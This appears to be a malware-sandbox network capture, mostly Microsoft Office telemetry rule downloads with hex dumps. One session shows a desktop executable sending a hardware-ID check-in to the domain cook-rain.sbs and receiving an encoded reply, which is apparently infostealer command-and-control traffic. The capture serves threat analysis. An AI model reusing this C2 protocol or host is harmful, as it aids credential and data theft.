2024-11-20 23:03:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230318Z-178bfbc474bfw4gbhC1NYCunf400000000p000000000h10v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49754	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 23:03:18 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=12C3E1E727987F3663CFCF7E6C45F838
2024-11-20 23:03:19 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mc2qruif6t8p7cmfb9jtashm0n; expires=Sun, 16-Mar-2025 16:49:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2BgX8QJNzQ9g43rN9%2BV5AwqFLpOXuiox9wVh52UQsgAbFpWo4mTZK28bap1dbIx6c2Lv6mUOLTwH6bWkejUFTGYs4c%2BRSaICp8ivQIvrd1pTD9R52xeMUNdc%2BsNljoqG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c1295baef8c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2395&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=1427872&cwnd=236&unsent_bytes=0&cid=faf21690ce0b9396&ts=1130&x=0"
2024-11-20 23:03:19 UTC	214	IN	Data Raw: 64 30 0d 0a 2f 69 33 69 66 52 55 34 78 64 32 41 68 46 39 6c 54 6c 44 42 45 4a 77 55 5a 4c 2f 74 4e 2b 79 44 61 38 4a 44 79 37 46 53 30 6f 71 6c 56 73 41 49 4e 77 4c 6e 74 66 54 77 4c 31 38 53 66 35 30 2f 72 53 78 52 6b 64 38 47 32 61 31 61 38 33 44 6c 67 47 53 4f 70 5a 46 4c 68 43 45 36 58 4b 43 37 72 75 45 6e 41 47 78 38 34 33 62 6f 4e 6c 36 50 77 52 57 4a 6f 56 48 7a 50 75 66 4b 63 4b 65 6f 78 41 2b 4b 43 57 46 49 2f 34 47 76 32 48 42 55 64 6d 58 76 49 71 30 68 53 6f 37 63 42 4d 4b 79 58 5a 35 73 75 4d 55 33 73 2b 65 69 41 70 41 63 65 31 79 71 73 4b 37 68 4a 77 42 73 66 4f 4e 32 36 44 5a 65 6a 38 45 56 69 61 46 52 38 7a 36 57 0d 0a Data Ascii: d0/i3ifRU4xd2AhF9lTlDBEJwUZL/tN+yDa8JDy7FS0oqlVsAINwLntfTwL18Sf50/rSxRkd8G2a1a83DlgGSOpZFLhCE6XKC7ruEnAGx843boNl6PwRWJoVHzPufKcKeoxA+KCWFI/4Gv2HBUdmXvIq0hSo7cBMKyXZ5suMU3s+eiApAce1yqsK7hJwBsfON26DZej8EViaFR8z6W
2024-11-20 23:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 89a68f82-d01e-0066-4c17-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230318Z-r1d97b9957789nh9hC1TEBxha800000009h000000000tx89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:19 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f154d9af-001e-008d-2f63-3bd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230320Z-178bfbc474bq2pr7hC1NYCkfgg00000000v0000000007r96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:19 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c4e923e0-d01e-008e-2e7d-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230320Z-1777c6cb7549x5qchC1TEBggbg0000000ab000000000au3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230320Z-178bfbc474b7cbwqhC1NYC8z4n00000000kg000000009z8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230321Z-178bfbc474b7cbwqhC1NYC8z4n00000000g0000000009gxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:21 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:21 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230321Z-1777c6cb754dqb2khC1TEBmk1s0000000a6000000000m6tk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:21 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230322Z-r1d97b99577l6wbzhC1TEB3fwn00000009n000000000dvh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230322Z-178bfbc474bscnbchC1NYCe7eg00000000p000000001ax2n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230322Z-178bfbc474bmqmgjhC1NYCy16c00000000pg00000000su91 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
